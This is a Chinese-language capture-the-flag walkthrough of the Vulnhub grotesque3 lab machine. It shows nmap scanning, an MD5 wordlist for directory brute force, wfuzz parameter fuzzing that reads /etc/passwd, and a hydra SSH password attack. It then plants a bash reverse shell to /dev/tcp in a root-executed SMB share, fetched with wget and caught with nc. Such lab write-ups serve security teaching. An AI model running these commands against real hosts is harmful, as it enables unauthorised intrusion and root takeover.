Vulnhub實戰-grotesque3靶機👻

Vulnhub實戰-grotesque3靶機👻

靶機地址://www.vulnhub.com/entry/grotesque-301,723/

1.靶機描述

image

2.主機探測,埠掃描

  1. 我們在vmware中成功導入靶機之後,在kali中進行主機探測

nmap -sn 192.168.33.0/24

image

得到主機IP,接下來進行埠掃描

nmap -sS -p- -v 192.168.33.230

image

我們發現開啟了80和22埠,這裡說明可以進行ssh爆破,但是沒有線索胡亂爆破太費時間了,所以先去看看80埠web服務有什麼吧。

3.web測試

  1. 訪問IP地址得到如下頁面

image

我們看看源程式碼發現有一個圖片,然後就啥也沒了。點進去看看,我還以為是圖片隱寫呢,害得我一頓binwalk,foremost,stepgeek進行圖片破解都無果,我在這裡替大家把坑都走了。最後看了大佬的部落格才發現圖片裡面有一個mdXXXXX,這居然代表著md5,沃日我人傻了😱

image

然後接下來居然是從文件名入手,我也不知道咋想的啥腦洞呀。我丟!👻意思是文件名是經過md5加密的。接下來我們先生成一個md5的文件名表。就用的kali自帶的字典/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt。

執行以下命令將這個字典轉換成md5的字典
for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> 2.txt; done

接下來我們home目錄下面就有了一個2.txt,裡面都是經過md5加密的文件名,這個2.txt一開始後面都會有兩個空格和一個短杠,這個是要去掉的。給它們替換成空就行了。

image

然後通過kali自帶的工具dirbuster進行文件名遍歷,在終端輸入dirbuster就可以開啟這個工具了。然後我們輸入地址,導入字典直接開啟了,最後就遍歷出了一個php文件。

image

image

我們訪問這個php文件返回為空,接下來就行進行參數爆破了

image

通過kali自帶的wfuzz工具進行http參數爆破,最後爆破出了一個參數purpose

wfuzz -c -w /root/dictionary/fuzzDicts-master/paramDict/AllParam.txt --hh 0 --hc 404,403 -u "//192.168.33.230/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd" -t 60

image

我們訪問這個頁面發現了用戶名freddie,接下來就是用hydra進行ssh爆破密碼啦,密碼我們就用剛剛md5加密的詞表去爆破吧,我也不知道作者咋想的,我估計這個writeup如果不是作者寫的話,神仙也做不出來吧。😂

執行以下命令:

hydra -l freddie -P /home/2.txt ssh://192.168.33.230 -t 60

image

接下來我們登錄ssh:

ssh [email protected]

4.提權

我們發現當前用戶是freddie,接下來我們就是想辦法提升到root許可權。

  1. 我們看看能不能執行什麼系統命令,發現並沒有 命令:sudo -l
  2. 我們再看看也沒有什麼suid許可權的文件,發現也沒有 命令:find / -perm -u=s -type f 2>/dev/null

接下來我們執行ss -tulpn發現開啟了445埠,證明有smb服務在運行

image

接下來我們看看後台進程吧,發現有一個進程在執行,就是root用戶在執行一個命令/bin/sh -c bash /smbshare/*
說明root用戶在用bash這個命令去執行smbshare文件夾下面的sh文件,這個時候我們就可以傳一個sh的反彈shell到smb共享文件夾下面,因為後台開啟了這個進程它會自動執行這個文件夾下面的sh腳本,可能一分鐘執行一次,大家傳上去之後可以等等看kali過一會應該就能連上shell。

image

我們進到/tmp文件夾,然後進入smb共享文件夾(進入smb是不需要輸入密碼的,直接回車就行了。):

通過這個遍歷出smb的文件名,我們發現有三個文件,依次嘗試發現第二個是能夠進去的。

smbclient -L 127.0.0.1

image

然後進入smb:

smbclient //127.0.0.1/grotesque

在這裡我們是可以下載靶機的/tmp目錄下面的文件進來的,通過put命令,接下來我們下載一個sh的反彈shell進來就可以了。

image

shell文件:

#!/bin/bash
sh -i >& /dev/tcp/192.168.33.213/10086 0>&1

我們的kali創建這個shell文件之後,通過python開啟一個http服務:python3 -m http.server 9000,然後我們靶機的shell去下載這個文件

kali:
python -m http.server 9000
//這個命令在哪個目錄執行的,這個目錄就是跟目錄

靶機:
wget //kali的ip:9000/shell.sh

kali監聽埠,我的是10086:
nc -lnvp 10086

smb:
put shell.sh

image

最後我們就獲取到root許可權了,我估計後台那個進程應該是過多久執行一次,所以如果你把腳本下載進去沒有立馬反彈shell,你可以等等看,一分鐘左右應該就會彈shell了。


image